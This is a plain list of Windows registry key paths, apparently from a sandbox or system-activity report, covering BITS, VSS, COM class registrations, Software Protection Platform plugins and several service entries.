HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\LogFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\LogFileFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\LogFileMinMemory
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BITS\Performance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Performance\First Counter
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Performance\First Help
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Performance\Last Counter
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Performance\Last Help
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Performance\PerfMMFileName
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\BackupRestore\FilesNotToBackup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\BackupRestore\FilesNotToBackup\BITS_metadata
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\JobInactivityTimeout
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\TimeQuantaLength
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\JobNoProgressTimeout
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\JobMinimumRetryDelay
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\TransferBufferSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\SleepAtCallbackBegin
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\SleepAtCallbackEnd
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\SleepAtCallbackDuration
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\TestFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\ForceFileFlush
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\UseLmCompat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\IGDSearcherDLL
HKEY_LOCAL_MACHINE\Software\Classes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E2085F28-FEB7-404A-B8E7-E659BDEAAA02}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E2085F28-FEB7-404A-B8E7-E659BDEAAA02}\TreatAs
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\sc.exe
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS\Throttling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\StatefileChunk
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\StatefileWriteBuffer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\StateIndex
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToBackup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\BackupRestore\FilesNotToBackup\BITS_LOG
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\BackupRestore\FilesNotToBackup\BITS_BAK
HKEY_LOCAL_MACHINE\SYSTEM\Setup
HKEY_LOCAL_MACHINE\SYSTEM\Setup\UpgradeInProgress
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Safeboot\Option
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\VssAccessControl
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\Settings
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Settings\ActiveWriterStateTimeout
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\Diag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Diag\(Default)
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\Diag\BITS Writer
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Settings\TornComponentsMax
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{659CDEA7-489E-11D9-A9CD-000D56965251}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{659CDEA7-489E-11D9-A9CD-000D56965251}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{659CDEA7-489E-11D9-A9CD-000D56965251}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{659CDEA7-489E-11D9-A9CD-000D56965251}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{659CDEA7-489E-11D9-A9CD-000D56965251}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{659CDEA7-489E-11D9-A9CD-000D56965251}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{659CDEA7-489E-11D9-A9CD-000D56965251}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{659CDEA7-489E-11D9-A9CD-000D56965251}\InprocHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{03CA98D6-FF5D-49B8-ABC6-03DD84127020}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{03CA98D6-FF5D-49B8-ABC6-03DD84127020}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{03CA98D6-FF5D-49B8-ABC6-03DD84127020}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{03CA98D6-FF5D-49B8-ABC6-03DD84127020}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{03CA98D6-FF5D-49B8-ABC6-03DD84127020}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{03CA98D6-FF5D-49B8-ABC6-03DD84127020}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{03CA98D6-FF5D-49B8-ABC6-03DD84127020}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{03CA98D6-FF5D-49B8-ABC6-03DD84127020}\InprocHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6D18AD12-BDE3-4393-B311-099C346E6DF9}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6D18AD12-BDE3-4393-B311-099C346E6DF9}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6D18AD12-BDE3-4393-B311-099C346E6DF9}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{6D18AD12-BDE3-4393-B311-099C346E6DF9}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6D18AD12-BDE3-4393-B311-099C346E6DF9}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6D18AD12-BDE3-4393-B311-099C346E6DF9}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6D18AD12-BDE3-4393-B311-099C346E6DF9}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6D18AD12-BDE3-4393-B311-099C346E6DF9}\InprocHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F087771F-D74F-4C1A-BB8A-E16ACA9124EA}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F087771F-D74F-4C1A-BB8A-E16ACA9124EA}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F087771F-D74F-4C1A-BB8A-E16ACA9124EA}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{F087771F-D74F-4C1A-BB8A-E16ACA9124EA}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F087771F-D74F-4C1A-BB8A-E16ACA9124EA}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F087771F-D74F-4C1A-BB8A-E16ACA9124EA}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F087771F-D74F-4C1A-BB8A-E16ACA9124EA}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F087771F-D74F-4C1A-BB8A-E16ACA9124EA}\InprocHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4991D34B-80A1-4291-83B6-3328366B9097}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4991D34B-80A1-4291-83B6-3328366B9097}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4991D34B-80A1-4291-83B6-3328366B9097}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{4991D34B-80A1-4291-83B6-3328366B9097}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4991D34B-80A1-4291-83B6-3328366B9097}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4991D34B-80A1-4291-83B6-3328366B9097}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4991D34B-80A1-4291-83B6-3328366B9097}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4991D34B-80A1-4291-83B6-3328366B9097}\InprocHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\InprocHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask\Id
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{DD9F510C-95F4-499A-90C8-BAC5BC372FF4}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{DD9F510C-95F4-499A-90C8-BAC5BC372FF4}\Hash
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{DD9F510C-95F4-499A-90C8-BAC5BC372FF4}\Triggers
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Time Zones\W. Europe Standard Time\Dynamic DST
HKEY_USERS\S-1-5-20
HKEY_USERS\S-1-5-20\Control Panel\International
HKEY_USERS\S-1-5-20\Control Panel\International\LocaleName
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandler
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\DeviceClasses\{CAC88484-7515-4C03-82E6-71A87ABAC361}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\Compatibility\1.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\Compatibility\2.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\Compatibility\3.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\Compatibility\4.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\Compatibility\5.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\Compatibility\6.exe
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcSs
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcSs\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\sppsvc
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\sppsvc\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\sppsvc\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\sppsvc\WOW64
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\sppsvc\RequiredPrivileges
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\ProgramData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Public
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Default
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramW6432Dir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonW6432Dir
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-20
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-20\ProfileImagePath
HKEY_USERS\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_USERS\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\AppData
HKEY_USERS\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData
HKEY_USERS\S-1-5-20\Environment
HKEY_USERS\S-1-5-20\Volatile Environment
HKEY_USERS\S-1-5-20\Volatile Environment\0
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\sppsvc\Environment
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Winmgmt
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Winmgmt\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\clr_optimization_v4.0.30319_32
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\clr_optimization_v4.0.30319_32\RequiredPrivileges
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\clr_optimization_v4.0.30319_64
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\clr_optimization_v4.0.30319_64\RequiredPrivileges
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\sppsvc.exe
HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Extensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\RemoteRpcDll
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BFE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\ServiceSessionId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Modules\179b8a65-b0f6-41d9-acea-12006ef9b32a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Modules\179b8a65-b0f6-41d9-acea-12006ef9b32a\ManifestFile
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Modules\179b8a65-b0f6-41d9-acea-12006ef9b32a\PluginFile
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Modules\c42d83ff-5958-4af4-a0dd-ba02fed39662
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Modules\c42d83ff-5958-4af4-a0dd-ba02fed39662\ManifestFile
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Modules\c42d83ff-5958-4af4-a0dd-ba02fed39662\PluginFile
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/bios/4.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/bios/4.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/bios/4.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/flags/1.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/flags/1.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/hwid/4.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/hwid/4.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/phone/1.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/phone/1.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/pkey/2005
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/pkey/2005\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/vmd/1.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/vmd/1.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/volume/1.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/volume/1.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/licenseacquisition/payloadhandler/eul/1.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/licenseacquisition/payloadhandler/eul/1.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/licenseacquisition/payloadhandler/pkc/1.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/licenseacquisition/payloadhandler/pkc/1.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/licenseacquisition/payloadhandler/rac/1.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/licenseacquisition/payloadhandler/rac/1.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/licenseacquisition/payloadhandler/spc/1.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/licenseacquisition/payloadhandler/spc/1.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/licenseacquisition/sequence/1.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/licenseacquisition/sequence/1.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/TaskScheduler/1.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/TaskScheduler/1.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/volume/services/kms/1.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/volume/services/kms/1.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/volume/services/kms/licenserenewal/1.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/volume/services/kms/licenserenewal/1.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/windowsfunctionality/agent/7.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/windowsfunctionality/agent/7.0\ModuleId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/windowsfunctionality/agent/7.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/flags/1.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/hwid/4.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/phone/1.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/pkey/2005\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/vmd/1.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/volume/1.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/licenseacquisition/payloadhandler/eul/1.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/licenseacquisition/payloadhandler/pkc/1.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/licenseacquisition/payloadhandler/rac/1.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/licenseacquisition/payloadhandler/spc/1.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/licenseacquisition/sequence/1.0\IsService
